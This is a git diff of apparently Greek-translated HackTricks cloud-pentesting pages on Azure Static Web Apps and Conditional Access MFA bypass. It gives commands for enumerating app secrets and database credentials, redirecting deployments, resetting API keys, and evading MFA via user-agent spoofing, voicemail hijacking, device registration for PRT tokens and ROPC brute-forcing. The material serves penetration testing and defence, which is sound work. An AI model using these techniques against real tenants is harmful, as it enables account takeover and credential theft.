εφαρμογή, μπορείτε να εκτελέσετε την παρακάτω εντολή. Σημειώστε ότι αυτή η εντολή εξήχθη ελέγχοντας **πώς λειτουργεί το Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, καθώς είναι αυτή που έχει ορίσει το Azure ως προεπιλογή. Έτσι, η εικόνα και οι παράμετροι μπορεί να αλλάξουν στο μέλλον. + +1. Κατεβάστε το repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ή οποιοδήποτε άλλο repo θέλετε να αναπτύξετε) και εκτελέστε `cd react-basic`. +2. Αλλάξτε τον κώδικα που θέλετε να αναπτύξετε +3. Αναπτύξτε το εκτελώντας (Θυμηθείτε να αλλάξετε το ``): +```bash +docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose +``` +### Microsoft.Web/staticSites/write + +Με αυτή την άδεια είναι δυνατόν να **αλλάξετε την πηγή της στατικής εφαρμογής ιστού σε ένα διαφορετικό αποθετήριο Github**, ωστόσο, δεν θα προμηθευτεί αυτόματα καθώς αυτό πρέπει να γίνει από μια ενέργεια Github συνήθως με το διακριτικό που εξουσιοδότησε την ενέργεια, καθώς αυτό το διακριτικό δεν ενημερώνεται αυτόματα μέσα στα μυστικά του Github του αποθετηρίου (προστίθεται αυτόματα μόνο όταν δημιουργείται η εφαρμογή). +```bash +az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main +``` +### Microsoft.Web/staticSites/resetapikey/action + +Με αυτή την άδεια είναι δυνατόν να **επαναρυθμιστεί το API key της στατικής εφαρμογής ιστού**, ενδεχομένως προκαλώντας DoS στις ροές εργασίας που αναπτύσσουν αυτόματα την εφαρμογή. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 2abaa6444..bfa643d40 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,22 +1,22 @@ -# Az - Πολιτικές Προσβασιμότητας & Παράκαμψη MFA +# Az - Πολιτικές Προσβάσεως & Παράκαμψη MFA {{#include ../../../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες -Οι πολιτικές προσβασιμότητας του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους σωστούς ελέγχους πρόσβασης υπό τις σωστές συνθήκες.\ -Οι πολιτικές προσβασιμότητας βασικά **ορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**. +Οι πολιτικές προσβάσεως Conditional Access του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\ +Οι πολιτικές προσβάσεως ουσιαστικά **καθορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**. Ακολουθούν μερικά παραδείγματα: 1. **Πολιτική Κινδύνου Σύνδεσης**: Αυτή η πολιτική θα μπορούσε να ρυθμιστεί ώστε να απαιτεί πολυπαραγοντική αυθεντικοποίηση (MFA) όταν ανιχνεύεται κίνδυνος σύνδεσης. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σύγκριση με το κανονικό του μοτίβο, όπως η σύνδεση από μια διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον αυθεντικοποίηση. -2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε υπηρεσίες του Azure μόνο σε συσκευές που είναι συμμορφωμένες με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος. +2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση στις υπηρεσίες Azure μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος. -## Παράκαμψη Πολιτικών Προσβασιμότητας +## Παράκαμψη Πολιτικών Προσβάσεως -Είναι πιθανό μια πολιτική προσβασιμότητας να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει. +Είναι πιθανό μια πολιτική προσβάσεως να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει. -Κατά τη ρύθμιση μιας πολιτικής προσβασιμότητας, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud). +Κατά τη ρύθμιση μιας πολιτικής προσβάσεως, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud). Είναι επίσης απαραίτητο να ρυθμιστούν οι **συνθήκες** που θα **ενεργοποιήσουν** την πολιτική: @@ -25,7 +25,7 @@ - **Κίνδυνοι Microsoft**: Κίνδυνος χρήστη, κίνδυνος σύνδεσης, κίνδυνος εσωτερικού - **Πλατφόρμες συσκευών**: Οποιαδήποτε συσκευή ή επιλέξτε Android, iOS, Windows phone, Windows, macOS, Linux - Αν δεν έχει επιλεγεί “Οποιαδήποτε συσκευή” αλλά έχουν επιλεγεί όλες οι άλλες επιλογές, είναι δυνατόν να παρακαμφθεί χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες -- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Εφαρμογές Exchange ActiveSync” και “Άλλοι πελάτες” +- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Exchange ActiveSync πελάτες” και Άλλοι πελάτες” - Για να παρακαμφθεί η σύνδεση με μια μη επιλεγμένη επιλογή - **Φίλτρο για συσκευές**: Είναι δυνατόν να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή - **Ροές αυθεντικοποίησης**: Οι επιλογές είναι “Ροή κωδικού συσκευής” και “Μεταφορά αυθεντικοποίησης” @@ -44,22 +44,22 @@

- Ή να χρησιμοποιήσετε μια [επέκταση περιηγητή όπως αυτή](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Ή να χρησιμοποιήσετε μια [επέκταση περιηγητή όπως αυτή](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). ### Τοποθεσίες: Χώρες, εύρη IP - Συνθήκη Συσκευής -Αν αυτό έχει ρυθμιστεί στην πολιτική προσβασιμότητας, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο να έχει πρόσβαση από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες. +Αν αυτό έχει ρυθμιστεί στην πολιτική προσβάσεως, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο να αποκτήσει πρόσβαση από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες. ### Εφαρμογές Cloud -Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβασιμότητας για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να έχει πρόσβαση σε **συγκεκριμένη εφαρμογή**: +Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβάσεως για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση σε **συγκεκριμένη εφαρμογή**:
-Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε **να συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\ +Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε να **συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\ Το εργαλείο [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) έχει **δεκάδες αναγνωριστικά εφαρμογών σκληρά κωδικοποιημένα** και θα προσπαθήσει να συνδεθεί σε αυτά και να σας ενημερώσει και να σας δώσει ακόμη και το token αν είναι επιτυχές. -Για να **δοκιμάσετε συγκεκριμένα αναγνωριστικά εφαρμογών σε συγκεκριμένους πόρους**, μπορείτε επίσης να χρησιμοποιήσετε ένα εργαλείο όπως: +Για να **δοκιμάσετε συγκεκριμένα αναγνωριστικά εφαρμογών σε συγκεκριμένους πόρους** μπορείτε επίσης να χρησιμοποιήσετε ένα εργαλείο όπως: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout @@ -67,7 +67,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` Επιπλέον, είναι επίσης δυνατό να προστατευθεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον περιηγητή ή από μια επιτραπέζια εφαρμογή). Το εργαλείο [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) εκτελεί κάποιους ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης. -Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται ότι δεν συντηρείται. +Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς, αν και φαίνεται ότι δεν συντηρείται. Το εργαλείο [**ROPCI**](https://github.com/wunderwuzzi23/ropci) μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν οι MFA ή οι αποκλεισμοί, αλλά αυτό το εργαλείο λειτουργεί από μια προοπτική **whitebox**. Πρέπει πρώτα να κατεβάσετε τη λίστα με τις εφαρμογές που επιτρέπονται στον ενοικιαστή και στη συνέχεια θα προσπαθήσει να συνδεθεί σε αυτές. @@ -78,11 +78,11 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 Μια επιλογή Azure MFA είναι να **λάβετε μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου** όπου θα ζητηθεί από τον χρήστη να **στείλει τον χαρακτήρα `#`**. > [!CAUTION] -> Καθώς οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο. +> Δεδομένου ότι οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο. -### Συμβατές Σ συσκευές +### Συμβατές Συσκευές -Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, έτσι ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και να **παρακάμψει με αυτόν τον τρόπο την MFA**. +Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και **να παρακάμψει με αυτόν τον τρόπο την MFA**. Ξεκινήστε καταχωρίζοντας μια **συμβατή συσκευή στο Intune**, στη συνέχεια **αποκτήστε το PRT** με: ```powershell @@ -104,9 +104,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Αυτό το σενάριο αποκτά ορισμένα διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε ορισμένες εφαρμογές. +Αυτό το σενάριο αποκτά διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε ορισμένες εφαρμογές. -Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε προνόμια**. +Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε τα προνόμια**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) @@ -126,7 +126,7 @@ Invoke-MFASweep -Username -Password Αυτό το εργαλείο έχει βοηθήσει στην αναγνώριση παρακάμψεων MFA και στη συνέχεια στην κακή χρήση APIs σε πολλούς παραγωγικούς AAD ενοικιαστές, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά η αυθεντικοποίηση με βάση το ROPC ήταν επιτυχής. > [!TIP] -> Πρέπει να έχετε δικαιώματα για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force. +> Πρέπει να έχετε άδειες για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md new file mode 100644 index 000000000..ea8a0426e --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -0,0 +1,109 @@ +# Az - Static Web Apps + +{{#include ../../../banners/hacktricks-training.md}} + +## Static Web Apps Basic Information + +Azure Static Web Apps είναι μια υπηρεσία cloud για τη φιλοξενία **στατικών εφαρμογών ιστού με αυτόματη CI/CD από αποθετήρια όπως το GitHub**. Προσφέρει παγκόσμια παράδοση περιεχομένου, serverless backends και ενσωματωμένο HTTPS, καθιστώντας την ασφαλή και κλιμακούμενη. Ωστόσο, οι κίνδυνοι περιλαμβάνουν κακή ρύθμιση CORS, ανεπαρκή αυθεντικοποίηση και παραποίηση περιεχομένου, που μπορεί να εκθέσουν τις εφαρμογές σε επιθέσεις όπως XSS και διαρροή δεδομένων αν δεν διαχειριστούν σωστά. + +> [!TIP] +> Όταν δημιουργείται μια Στατική Εφαρμογή, μπορείτε να επιλέξετε την **πολιτική εξουσιοδότησης ανάπτυξης** μεταξύ **Deployment token** και **GitHub Actions workflow**. + + +### Web App Authentication + +Είναι δυνατόν να **ρυθμίσετε έναν κωδικό πρόσβασης** για την πρόσβαση στην Εφαρμογή Ιστού. Η διαδικτυακή κονσόλα επιτρέπει τη ρύθμιση ώστε να προστατεύει μόνο τα περιβάλλοντα staging ή και τα δύο, staging και παραγωγής. + +Αυτή είναι η εμφάνιση μιας προστατευμένης με κωδικό πρόσβασης εφαρμογής ιστού τη στιγμή που γράφεται το κείμενο: + +
+ + +Είναι δυνατόν να δείτε **αν χρησιμοποιείται κάποιος κωδικός πρόσβασης** και ποια περιβάλλοντα είναι προστατευμένα με: +```bash +az rest --method GET \ +--url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" +``` +Ωστόσο, αυτό **δεν θα εμφανίσει τον κωδικό πρόσβασης σε καθαρό κείμενο**, μόνο κάτι σαν: `"password": "**********************"`. + +### Διαδρομές + +Οι διαδρομές καθορίζουν **πώς διαχειρίζονται τα εισερχόμενα HTTP αιτήματα** μέσα σε μια στατική εφαρμογή ιστού. Ρυθμισμένες στο **`staticwebapp.config.json`** αρχείο, ελέγχουν την ανακατεύθυνση URL, τις ανακατευθύνσεις, τους περιορισμούς πρόσβασης και την εξουσιοδότηση βάσει ρόλων, διασφαλίζοντας τη σωστή διαχείριση πόρων και ασφάλεια. + +Ορισμένα παραδείγματα: +```json +{ +"routes": [ +{ +"route": "/", +"rewrite": "/index.html" +}, +{ +"route": "/about", +"rewrite": "/about.html" +}, +{ +"route": "/api/*", +"allowedRoles": ["authenticated"] +}, +{ +"route": "/admin", +"redirect": "/login", +"statusCode": 302 +} +], +"navigationFallback": { +"rewrite": "/index.html", +"exclude": ["/api/*", "/assets/*"] +} +} +``` +## Καταμέτρηση +```bash +# List Static Webapps +az staticwebapp list --output table + +# Get Static Webapp details +az staticwebapp show --name --resource-group --output table + +# Get appsettings +az staticwebapp appsettings list --name + +# Get env information +az staticwebapp environment list --name +az staticwebapp environment functions --name + +# Get API key +az staticwebapp secrets list --name + +# Get invited users +az staticwebapp users list --name + +# Get database connections +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" + +## Once you have the database connection name ("default" by default) you can get the connection string with the credentials +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections/default/show?api-version=2021-03-01" +``` +## Παραδείγματα για τη δημιουργία Ιστοσελίδων + +Μπορείτε να βρείτε ένα ωραίο παράδειγμα για τη δημιουργία μιας ιστοσελίδας στον παρακάτω σύνδεσμο: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) + +1. Fork το αποθετήριο https://github.com/staticwebdev/react-basic/generate στον λογαριασμό σας στο GitHub και ονομάστε το `my-first-static-web-app` +2. Στο Azure portal δημιουργήστε μια Static Web App ρυθμίζοντας την πρόσβαση στο Github και επιλέγοντας το προηγουμένως forked νέο αποθετήριο +3. Δημιουργήστε το, περιμένετε μερικά λεπτά και ελέγξτε τη νέα σας σελίδα! + +## Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-static-web-apps-post-exploitation.md +{{#endref}} + +## Αναφορές + +- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) +- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) + +{{#include ../../../banners/hacktricks-training.md}}